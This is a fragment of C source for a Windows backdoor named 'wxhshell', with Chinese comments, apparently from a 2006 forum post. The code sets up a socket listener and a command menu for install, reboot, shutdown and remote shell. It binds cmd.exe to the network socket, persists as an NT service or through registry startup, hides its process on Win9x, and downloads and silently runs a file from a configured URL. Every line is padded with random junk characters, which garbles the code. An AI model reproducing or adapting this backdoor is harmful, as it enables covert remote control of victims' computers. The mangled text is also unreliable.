    switch(cmd[0]) { JkQ\)^5v  
  ;V5yXNQ   
  // 帮助 ~1kXUWq3  
  case '?': { k2 Q qZxm!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v~|?3/{Q  
    break; (%_n!ip^  
  } f)Xr!7  
  // 安装 <F=9*.@D   
  case 'i': { 1HT_  
    if(Install()) 'CR)`G_'[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ve6w<3D@  
    else hk>;pU(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MJ{%4S{K,p  
    break; )C hqATKg  
    } sOU_j:A80;  
  // 卸载 [I;^^#'P  
  case 'r': { 5W? v'"  
    if(Uninstall()) ,*I@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kAA>FI6  
    else H%F>@(U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :G5uocVk  
    break; \e3`/D  
    } ^:=f^N=^  
  // 显示 wxhshell 所在路径 %G3(,Qz  
  case 'p': { je/!{(  
    char svExeFile[MAX_PATH]; O,@~L$a:YZ  
    strcpy(svExeFile,"\n\r"); I=DxRgt  
      strcat(svExeFile,ExeFile); 7q =G&e7  
        send(wsh,svExeFile,strlen(svExeFile),0); g'$tj&Vk:  
    break; bG F7Zh9  
    } g\SrO {*  
  // 重启 ,XkGe   
  case 'b': { 5ETip'<KT6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ro(Zmk\t  
    if(Boot(REBOOT)) &opd2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LE6.nmvS  
    else { ^' M>r (t  
    closesocket(wsh); q`NXJf=sc  
    ExitThread(0); {'En\e  
    } txgQ"MGA%  
    break; aGZi9O7G}  
    } 3r+.N  
  // 关机 X0(tboj#  
  case 'd': { Y?J"wdWJNB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /4\wn?f  
    if(Boot(SHUTDOWN)) 7R4z}2F2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7nq3S  
    else { <S75($  
    closesocket(wsh); ikD1N  
    ExitThread(0); 8T)&`dM6P~  
    } T:]L/wCj  
    break; BQH}6ueZ  
    } F[ ajOb8  
  // 获取shell B~ S6R  
  case 's': { 'B5^P  
    CmdShell(wsh); ?S$i?\Qh  
    closesocket(wsh); Fs_]RfG  
    ExitThread(0); uc7Eq45  
    break; Z/;Xl~  
  } XW{>-PBg:  
  // 退出 L|-98]8>  
  case 'x': { Q6gt+FKU9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1923N]b  
    CloseIt(wsh); Y6i _!z[V[  
    break; G;NF5`*4mc  
    } dovZ#D@Q  
  // 离开 gKLyL]kAGz  
  case 'q': { &8.NT~"Gg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 05yZad*  
    closesocket(wsh); )SryDRT  
    WSACleanup(); ez]tAW  
    exit(1); <f@"HG l  
    break; zZcnijWb  
        } {@! Kx`(:  
  } k>x&Ip8p  
  } ;Gx)Noo/>  
O$/o'"@ /  
  // 提示信息 r(d':LV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5DOBs f8Jo  
} y[B>~m8$  
  } HK\~Qnq  
~'37`)]z  
  return; =K'cM=WM6  
} # mize  
{7TlN.(  
// shell模块句柄 -7J|l  
int CmdShell(SOCKET sock) ^7zu<lX  
{ }Sy=My89r  
STARTUPINFO si; n  -(  
ZeroMemory(&si,sizeof(si)); Hbv6_H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qW:HNEiir  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T91moRv  
PROCESS_INFORMATION ProcessInfo; K\"R&{+=  
char cmdline[]="cmd"; u:0aM}9A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lL1k.& |5m  
  return 0; .EM`.  
} ctE\ q  
AJ#Nenmj  
// 自身启动模式 R.=}@oPb  
int StartFromService(void) iq( )8nxi  
{ U9b?i$  
typedef struct ODZ|bN0>  
{  V#VN %{  
  DWORD ExitStatus; quY:pqG38q  
  DWORD PebBaseAddress; \&U>LwZd?  
  DWORD AffinityMask; N F)~W#  
  DWORD BasePriority; w$JvB5O  
  ULONG UniqueProcessId; (vT+IZEI  
  ULONG InheritedFromUniqueProcessId; 2eMTxwt*S  
}   PROCESS_BASIC_INFORMATION; x _c[B4Tw  
95el'K[R  
PROCNTQSIP NtQueryInformationProcess; /SYw;<=  
p/+a=Yo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )1X#*mCxk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j?'GZ d"B  
oJN#C%r7  
  HANDLE             hProcess; {<<U^<6}  
  PROCESS_BASIC_INFORMATION pbi; ]+X@ 7  
;!yQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W6Y]N/v3>  
  if(NULL == hInst ) return 0; UX7t`l2R  
SL5Ai/X0N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O({2ivX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HTG%t/S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gEjdN.  
eA<0$Gs,h  
  if (!NtQueryInformationProcess) return 0; ;+"+3  
nr<4M0tIp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e%b6(%  
  if(!hProcess) return 0; $< JaLS  
V:joFRH9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q<M2,YrbAI  
q.;u?,|E/  
  CloseHandle(hProcess); i{`:(F5*  
vam;4vyu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uA< n  
if(hProcess==NULL) return 0; OGl}-kw  
%KLpig  
HMODULE hMod; w(L4A0K[  
char procName[255]; ^~etm  
unsigned long cbNeeded; o2F)%TDY  
uLV#SQ=bZN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1eF3`  
z:wutqru  
  CloseHandle(hProcess); Qnsi`1mASr  
Tc? $>'  
if(strstr(procName,"services")) return 1; // 以服务启动 cz8T  
e~=;c  
  return 0; // 注册表启动 8A})V8  
} gDpVeBd[  
4\iOeZRf  
// 主模块 ]Gsv0Xk1  
int StartWxhshell(LPSTR lpCmdLine) ;{N!Eb`S  
{ fumm<:<CLO  
  SOCKET wsl; U2W|:~KM  
BOOL val=TRUE; SHfy".A6.0  
  int port=0; ds<2I,t  
  struct sockaddr_in door; ``hf=`We  
Q~#Wf ?  
  if(wscfg.ws_autoins) Install(); .(cw>7e3D  
R\!2l |_  
port=atoi(lpCmdLine); I=`U7Bis"  
Fj2BnM3#  
if(port<=0) port=wscfg.ws_port; ;~m8;8)  
, s"^kFl  
  WSADATA data; #V~me  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a .k.n<  
0Qf,@^zL*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   },{$*f[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rX2.i7i,  
  door.sin_family = AF_INET; yPb"V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VY7[)  
  door.sin_port = htons(port); AP 2_MV4W  
Mh]Gw(?w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +nFu|qM}  
closesocket(wsl); <Z mg#  
return 1; lR6@ xJd:@  
} n{ar gI8wF  
m#| 9hMu  
  if(listen(wsl,2) == INVALID_SOCKET) { |ATvS2  
closesocket(wsl); ia!y!_L\'  
return 1; ;U+3w~  
} 'c9]&B  
  Wxhshell(wsl); G[uK-U  
  WSACleanup(); MP Y[X[  
<L8'!q}  
return 0; oqO(PU  
@@Kp67Iv  
} 8V`WO6*  
6d<r= C=  
// 以NT服务方式启动 aC8} d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C)ERUH2i  
{ 0z6R'Kjy A  
DWORD   status = 0; KQ% GIz x  
  DWORD   specificError = 0xfffffff; {k TE He  
p>v$FiV2N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3M[! N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZbW17@b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E Nh l&J  
  serviceStatus.dwWin32ExitCode     = 0; "jKY1* ?  
  serviceStatus.dwServiceSpecificExitCode = 0; <lPm1/8  
  serviceStatus.dwCheckPoint       = 0; \wz6~5R  
  serviceStatus.dwWaitHint       = 0; l<58A7  
he;dq)-e9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +V ;l6D  
  if (hServiceStatusHandle==0) return; ) j#`r/  
FpmM63$VN[  
status = GetLastError(); 2*;~S4 4  
  if (status!=NO_ERROR) *v^Jb/E315  
{ 3nO]Ge"w'n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P64PPbP  
    serviceStatus.dwCheckPoint       = 0; >* f-Wde  
    serviceStatus.dwWaitHint       = 0; pP&7rRhw  
    serviceStatus.dwWin32ExitCode     = status; Qb-M6ihcc  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;"5&b!=t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l *(8i ^  
    return; M2,l7  
  } -A^_{4X  
+SR+gE\s0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P^ ~yzI  
  serviceStatus.dwCheckPoint       = 0; _7Ju  
  serviceStatus.dwWaitHint       = 0; 4yy>jXDG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dd%6t  
} /=nJRC3.  
}c,}V  
// 处理NT服务事件,比如:启动、停止 24 'J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [.7d<oY  
{ xX&+WR  
switch(fdwControl) fgp]x&5Q  
{ n,y ZRY  
case SERVICE_CONTROL_STOP: \h/H#j ZJ  
  serviceStatus.dwWin32ExitCode = 0; i#n0U/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y@S$^jk.  
  serviceStatus.dwCheckPoint   = 0; 3)<yod=  
  serviceStatus.dwWaitHint     = 0; k_#ak%m/  
  { t%0VJB,Q2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tKOmoC  
  } {L{o]Ii?g  
  return; 1hY{k{+o  
case SERVICE_CONTROL_PAUSE: mp1@|*Sn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {3mRq"e  
  break; EHJ.T~X  
case SERVICE_CONTROL_CONTINUE: ( Y[Q,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m]6mGp  
  break; hR?{3d#x2  
case SERVICE_CONTROL_INTERROGATE: ~g]Vw4pv  
  break; ;WQve_\  
}; Ua: sye  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gD @){Ip  
}  JYI,N  
{UI+$/v#  
// 标准应用程序主函数 V+Y%v.F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I^-Sb=j?Z  
{ Q~ w|#  
0 1rK8jX  
// 获取操作系统版本 W' VslZG  
OsIsNt=GetOsVer(); tCH!my_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rpha!h>w1%  
q"lSZ; 'E  
  // 从命令行安装 -=Q*Ml#I  
  if(strpbrk(lpCmdLine,"iI")) Install(); +5*95-;0  
>1Ibc=}g  
  // 下载执行文件 _1\v  
if(wscfg.ws_downexe) { L,/%f<wd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D;*SnU(9L  
  WinExec(wscfg.ws_filenam,SW_HIDE); iOghb*aW  
} p?OoC  
Dw.J2>uj  
if(!OsIsNt) { k1~&x$G  
// 如果时win9x,隐藏进程并且设置为注册表启动 e#8Q L  
HideProc(); H/ HMm{4  
StartWxhshell(lpCmdLine); C ;W"wBz9  
} lTgjq:mn  
else IM'r8 V  
  if(StartFromService())  =j]<t  
  // 以服务方式启动 oJz^|dW  
  StartServiceCtrlDispatcher(DispatchTable); +mj y<~\  
else JX;G<lev  
  // 普通方式启动 &U#|uc!+  
  StartWxhshell(lpCmdLine); -G rE} L  
*L^,|   
return 0; 77f9(~ZnT  
}
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只看该作者 1 发表于: 2006-10-10
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